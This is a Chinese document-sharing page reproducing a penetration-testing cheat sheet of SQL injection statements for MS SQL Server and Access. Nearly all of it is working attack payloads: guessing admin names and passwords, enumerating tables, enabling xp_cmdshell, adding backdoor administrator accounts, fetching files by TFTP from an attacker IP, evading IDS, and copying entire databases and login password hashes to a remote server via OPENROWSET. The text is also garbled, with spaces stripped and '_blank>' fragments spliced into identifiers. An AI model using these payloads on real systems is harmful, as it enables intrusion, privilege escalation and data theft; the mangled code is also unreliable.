渗透常用SQL注入语句大全Word文档格式.docx
- 文档编号:18730422
- 上传时间:2022-12-31
- 格式:DOCX
- 页数:14
- 大小:20.54KB
渗透常用SQL注入语句大全Word文档格式.docx
《渗透常用SQL注入语句大全Word文档格式.docx》由会员分享,可在线阅读,更多相关《渗透常用SQL注入语句大全Word文档格式.docx(14页珍藏版)》请在冰豆网上搜索。
8
and1=(selectcount(*)fromadminwherelen(name)>
6)错误
5)正确长度是6
and1=(selectcount(*)fromadminwherelen(name)=6)正确
and1=(selectcount(*)fromadminwherelen(password)>
11)正确
12)错误长度是12
and1=(selectcount(*)fromadminwherelen(password)=12)正确
6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位
and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–
这个查询语句可以猜解中文的用户和_blank>
密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
9
groupbyusers.idhaving1=1
groupbyusers.id,users.username,users.password,users.privshaving1=1–
insertintousersvalues(666,attacker,foobar,0xffff)–
UNIONSelectTOP1COLUMN_blank>
_NAMEFROMINFORMATION_blank>
_SCHEMA.COLUMNSWhereTABLE_blank>
_NAME=logintable-
_NAME=logintableWhereCOLUMN_blank>
_NAMENOTIN(login_blank>
_id)-
_id,login_blank>
_name)-
UNIONSelectTOP1login_blank>
_nameFROMlogintable-
UNIONSelectTOP1passwordFROMlogintablewherelogin_blank>
_name=Rahul–
看_blank>
服务器打的补丁=出错了打了SP4补丁
and1=(select@@VERSION)–
数据库连接账号的权限,返回正常,证明是_blank>
服务器角色sysadmin权限。
and1=(SelectIS_blank>
_SRVROLEMEMBER(sysadmin))–
判断连接_blank>
数据库帐号。
(采用SA账号连接返回正常=证明了连接账号是SA)
andsa=(SelectSystem_blank>
_user)–
anduser_blank>
_name()=dbo–
(selectuser_blank>
_name()–
看xp_blank>
_cmdshell是否删除
and1=(Selectcount(*)FROMWherextype=XANDname=xp_blank>
_cmdshell)–
xp_blank>
_cmdshell被删除,恢复,支持绝对路径的恢复
EXECxp_blank>
_cmdshell,xplog70.dll–
_cmdshell,c:
\inetpub\wwwroot\xplog70.dll–
反向PING自己实验
usemaster;
declare@sint;
execsp_blank>
_oacreate“wscript.shell”,@sout;
_oamethod@s,”run”,NULL,”cmd.exe/cping
加帐号
DECLARE@shellINTEXECSP_blank>
_OACreatewscript.shell,@shellOUTPUTEXECSP_blank>
_OAMETHOD@shell,run,null,C:
\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add–
创建一个虚拟目录E盘:
declare@ointexecsp_blank>
_oacreatewscript.shell,@ooutexecsp_blank>
_oamethod@o,run,NULL,cscript.exec:
\inetpub\wwwroot\mkwebdir.vbs-w“默认Web站点”-v“e”,”e:
\”–
访问属性:
(配合写入一个webshell)
\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse
爆库特殊_blank>
技巧:
:
%5c=\或者把/和\修改%5提交
(selecttop1pathsfromnewtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and1=(selectnamefromwheredbid=7)–
(selectcount(*)fromwherename>
1anddbid=6)
依次提交dbid=7,8,9….得到更多的_blank>
数据库名
(selecttop1namefromwherextype=U)暴到一个表假设为admin
(selecttop1namefromwherextype=Uandnamenotin(Admin))来得到其他的表。
(selectcount(*)fromwherextype=Uandname=admin
anduid>
(str(id)))暴到UID的数值假设为uid=id
(selecttop1namefromwhereid=)得到一个admin的一个字段,假设为user_blank>
_id
(selecttop1namefromwhereid=andnamenotin
(id,…))来暴出其他的字段
_idfromwhereusername>
1)可以得到用户名
依次可以得到_blank>
密码。
。
假设存在user_blank>
_idusername,password等字段
(selecttop1namefromwherextype=U)得到表名
(selecttop1namefromwherextype=Uandnamenotin(Address))
(selectcount(*)fromwherextype=Uandname=adminanduid>
(str(id)))判断id值
(selecttop1namefromwhereid=)所有字段
id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin
id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)
得到WEB路径
createtable[dbo].[swap]([swappass][char](255));
–
and(selecttop1swappassfromswap)=1–
CreateTABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_blank>
_regread@rootkey=HKEY_blank>
_LOCAL_blank>
_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_blank>
_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)–
useku1;
createtablecmd(strimage);
–建立image类型的表cmd
存在xp_blank>
_cmdshell的测试过程:
10
11
12
13
14
15
execmaster..xp_blank>
_cmdshelldir
execjiaoniang$;
–加SQL帐号
execnull,jiaoniang$,1866574;
execjiaoniang$sysadmin;
execnetuserjiaoniang$1866574/workstations:
*/times:
all/passwordchg:
yes/passwordreq:
yes/active:
yes/add;
execnetlocalgroupadministratorsjiaoniang$/add;
_servicecontrolstart,schedule启动_blank>
服务
_servicecontrolstart,server
_OAMETHOD@shell,run,null,C:
\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add
\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add
_cmdshelltftp-iyouipgetfile.exe–利用TFTP上传文件
declare@asysnameset@a=xp_blank>
_+cmdshellexec@adirc:
\
declare@asysnameset@a=xp+_blank>
_cm’+’dshellexec@adirc:
declare@a;
set@a=db_blank>
_name();
backupdatabase@atodisk=你的IP你的共享目录bak.dat
如果被限制则可以。
select*fromopenrowset(_blank>
sqloledb,server;
sa;
selectOK!
exechax)
查询构造:
Select*FROMnewsWhereid=…ANDtopic=…AND…..
adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass<
select123;
aornamelikefff%;
–显示有一个叫ffff的用户哈。
(selectcount(email)from[user]);
update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>
0)wherename=ffff;
update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;
update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>
)wherename=ffff;
update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;
update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;
update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;
上面的语句是得到_blank>
数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID得到第二个表的名字
insertintousersvalues(666,char(0×
63)+char(0×
68)+char(0×
72)+char(0×
69)+char(0×
73),char(0×
73),0xffff)–
insertintousersvalues(667,123,123,0xffff)–
insertintousersvalues(123,admin–,password,0xffff)–
anduser>
and(selectcount(*)fromsysobjects)>
and(selectcount(*)frommysysobjects)>
0//为access_blank>
数据库
枚举出数据表名
updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>
0);
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上andname<
刚才得到的表名)。
0andname<
vote);
然后id=1552andexists(select*fromaaawhereaaa>
5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
updateaaasetaaa=(selecttop1col_blank>
_name(object_blank>
_id(表名),1));
然后id=152andexists(select*fromaaawhereaaa>
5)出错,得到字段名
_id(表名),2));
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>
0[andname<
你得到的表名查出一个加一个])[where条件]selecttop1namefromsysobjectswherextype=uandstatus>
0andnamenotin(table1,table2,…)
通过SQLSERVER注入_blank>
漏洞建_blank>
数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update表名set字段=(selecttop1col_blank>
_id(要查询的数据表名),字段列如:
1)[where条件]
绕过IDS的检测[使用变量]
1、开启远程_blank>
基本语法
select*fromOPENROWSET(SQLOLEDB,server=servername;
uid=sa;
pwd=123,select*fromtable1)
参数:
(1)OLEDBProvidername
2、其中连接字符串参数可以是任何端口用来连接,比如
select*fromOPENROWSET(SQLOLEDB,select*fromtable
3.复制目标主机的整个_blank>
数据库insert所有远程表到本地表。
基本语法:
insertintoOPENROWSET(SQLOLEDB,server=servername;
pwd=123,select*fromtable1)select*fromtable2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>
数据库中的table1表中。
实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insertintoOPENROWSET(SQLOLEDB,uid=sa;
pwd=123;
Network=DBMSSOCN;
Address=192.168.0.1,1433;
select*fromtable1)select*fromtable2
select*from_blank>
_sysdatabases)
select*from
_sysobjects)
_syscolumns)
复制_blank>
数据库:
insertinto*fromtable1)select*fromdatabase..table1
insertinto*fromtable2)select*fromdatabase..table2
复制哈西表(HASH)登录_blank>
密码的hash存储于sysxlogins中。
方法如下:
insertintoOPENROWSET(SQLOLEDB,*from_blank>
_sysxlogins)select*from
得到hash之后,就可以进行暴力破解。
遍历目录的方法:
先创建一个临时表:
temp
createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));
inserttempexec获得当前所有驱动器
insertintotemp(id)execc:
\;
–获得子目录列表
insertintotemp(id,num1)execc:
–获得所有子目录的目录树结构,并寸入temp表中
insertintotemp(id)exectypec:
\web\index.asp;
–查看某个文件的内容
insertintotemp(id)execdirc:
\*.asp/s/a;
insertintotemp(id)execcscriptC:
\Inetpub\AdminScripts\adsutil.vbsenumw3svc
insertin
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 渗透 常用 SQL 注入 语句 大全